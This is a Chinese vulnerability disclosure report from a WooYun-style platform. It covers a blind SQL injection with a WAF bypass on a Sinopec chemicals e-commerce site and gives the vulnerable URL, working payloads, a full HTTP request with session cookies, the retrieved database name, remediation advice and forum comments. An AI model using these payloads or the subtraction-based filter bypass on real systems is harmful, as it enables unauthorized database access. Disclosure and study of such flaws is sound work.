中国石油某电商SQL注入(waf绕过)

1、漏洞触发页面以及对应功能:

http://mall.chemicals.sinopec.com/dzsc/bidmall/getBidMallMoreList.action?jj.ZMLDL=-1%27%20OR%20if(length(user())-1,6,6)=6%20AND%2000012=00012%20or%20%27DkSgiQgg%27=%27

2、漏洞复现具体流程，包含具体payload和完整的数据包：

测试发现截断字符，大于号，等于号等无法使用，系统返回500错误。最终探测信息poc

使用减号。如果相当减出来之后是0，则if判断会进入不一样的分支。

GET /dzsc/bidmall/getBidMallMoreList.action?jj.ZMLDL=-1%27%20OR%20if(ASCII(mid(database(),1,1))-104,7,6)=6%20AND%2000012=00012%20or%20%27DkSgiQgg%27=%27 HTTP/1.1
 Host: mall.chemicals.sinopec.com
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
 Upgrade-Insecure-Requests: 1
 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36
 Accept-Encoding: gzip, deflate, sdch
 Accept-Language: zh-CN,zh;q=0.8,en;q=0.6,zh-TW;q=0.4,fr;q=0.2
 Cookie: JSESSIONID=2D4C561B2B07124EDD6773579357A2D2; JSESSIONID=D64F3BAE950E527075CB26C7119047F9
 AlexaToolbar-ALX_NS_PH: AlexaToolbar/alx-4.0
 Connection: close

数据库相关信息证明,仅证明，未存储下载任何敏感信息

探测数据库用户

探测数据库为：

hx_dzsw

最有效的防御SQL注入的方式是在所有的数据库操作上使用参数化查询（也被称为预编译)。预编译通过两步把可能存在危害的数据整合到SQL查询中。第一步，应用定义查询语句的结构，在语句中预留位置给用户输入。第二部，应用把每个位置需要的用户输入传递给数据库。因为第一步中，应用已经定义了语句的结构，数据库已经对语法进行了编译，第二部中及时传入恶意的用户输入也无法影响SQL语句的语意，从而避免了SQL注入攻击。对于不同的数据库和编程语言需要查询文档，寻找合适的api。强烈建议使用参数化处理SQL语句中的每一个变量。需要注意的是以下一些防御SQL注入的方式并不总是有效的，所以不建议大家使用以下的方式防御SQL注入：一种常见的方式是在用户数据拼接到SQL语句之前转义其中的单引号。这是为了避免用户插入单引号，改变了SQL的语法。但是如果变量类型是数字型，这种防御就可能失败。因为SQL语句结构中并没有单引号包裹变量的话，仅仅使用空格就可以改变语法结构。另一种常见的防御方案是使用存储过程。尽管存储过程提供了很多安全特性，但是并不能保证防御SQL注入。当存储过程中可以动态创建SQL结构的时候就可能会发生SQL注入。

厂商回应：

危害等级：无影响厂商忽略

忽略时间：2016-05-22 10:00

厂商回复：

漏洞Rank：15 (WooYun评价)

最新状态：

暂无

1. 2016-05-17 11:01 | Vinc ( 普通白帽子 | Rank:383 漏洞数:58 | 提莫队长正在待命！)

   0

   ＆G

   1# 回复此人

2. 2016-05-17 11:19 | D＆G ( 普通白帽子 | Rank:780 漏洞数:69 | going)

   0

   我们是认真的。

   2# 回复此人

3. 2016-05-17 11:29 | Vinc ( 普通白帽子 | Rank:383 漏洞数:58 | 提莫队长正在待命！)

   0

   @D＆G 我在你公司旁边 有空了 约一发

   3# 回复此人

4. 2016-05-23 12:13 | prolog ( 普通白帽子 | Rank:944 漏洞数:140 )

   0

   @Vinc @D＆G +我们团队啊

   4# 回复此人